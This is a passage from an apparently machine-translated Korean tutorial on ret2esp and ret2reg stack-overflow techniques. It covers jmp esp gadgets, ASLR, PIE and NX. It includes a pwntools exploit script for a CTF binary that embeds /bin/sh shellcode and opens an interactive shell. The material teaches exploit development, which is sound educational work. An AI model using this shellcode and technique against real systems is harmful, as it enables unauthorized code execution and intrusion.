ESP (스택 포인터)가 항상 스택의 맨 위를 가리키기 때문에, 이 기술은 EIP (명령어 포인터)를 jmp esp 또는 call esp 명령의 주소로 대체하는 것을 포함합니다. 이렇게 하면 쉘코드가 덮어쓰인 EIP 바로 뒤에 배치됩니다. ret 명령이 실행될 때 ESP는 쉘코드가 저장된 정확한 다음 주소를 가리킵니다.
Windows 또는 Linux에서 **주소 공간 레이아웃 무작위화 (ASLR)**가 비활성화된 경우, 공유 라이브러리에서 찾은 jmp esp 또는 call esp 명령을 사용할 수 있습니다. 그러나 ASLR이 활성화된 경우, 취약한 프로그램 자체에서 이러한 명령을 찾아야 할 수 있습니다 (PIE를 우회해야 할 수도 있습니다).
또한, 쉘코드를 EIP 손상 이후에 배치할 수 있기 때문에, 함수의 작동 중에 실행되는 push 또는 pop 명령이 쉘코드에 간섭하지 않도록 보장됩니다. 쉘코드가 함수 스택의 중간에 배치된 경우 이러한 간섭이 발생할 수 있습니다.
공간 부족
RIP를 덮어쓴 후에 쓸 공간이 부족한 경우 (아마도 몇 바이트뿐이라면), 초기 jmp 쉘코드를 작성하세요:
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.htmlfrom pwn import*# Establish the target processtarget =process('./b0verflow')#gdb.attach(target, gdbscript = 'b *0x080485a0')# The shellcode we will use# I did not write this, it is from: http://shell-storm.org/shellcode/files/shellcode-827.phpshellcode ="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"# Establish our rop gadgets# 0x08048504 : jmp espjmpEsp =p32(0x08048504)# 0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; retpivot =p32(0x80484fd)# Make the payloadpayload =""payload += jmpEsp # Our jmp esp gadgetpayload += shellcode # Our shellcodepayload +="1"*(0x20-len(shellcode)) # Filler between end of shellcode and saved return addresspayload += pivot # Our pivot gadget# Send our payloadtarget.sendline(payload)# Drop to an interactive shelltarget.interactive()
Ret2reg
마찬가지로, 셸코드가 저장된 주소를 반환하는 함수를 알고 있다면, call eax 또는 jmp eax 명령어(ret2eax 기술로 알려짐)을 활용하여 셸코드를 실행하는 또 다른 방법을 제공할 수 있습니다. eax와 마찬가지로, 흥미로운 주소를 포함하는 다른 레지스터도 사용할 수 있습니다 (ret2reg).
만약 fgets 대신에 **read**와 같은 것을 사용했다면, 리턴 어드레스의 마지막 2바이트만 덮어씌우면br x0; 명령어로 돌아가 PIE를 우회할 수도 있었을 것입니다. 완전한 주소를 알 필요 없이 가능합니다.
fgets를 사용하면 끝에 널 (0x00) 바이트가 추가되기 때문에 작동하지 않습니다.
Protections
NX: 스택이 실행 불가능하면 쉘코드를 스택에 배치하고 실행하기 위해 점프해야 하므로 도움이 되지 않습니다.
ASLR & PIE: esp나 다른 레지스터로 점프할 명령을 찾기 어렵게 만들 수 있습니다.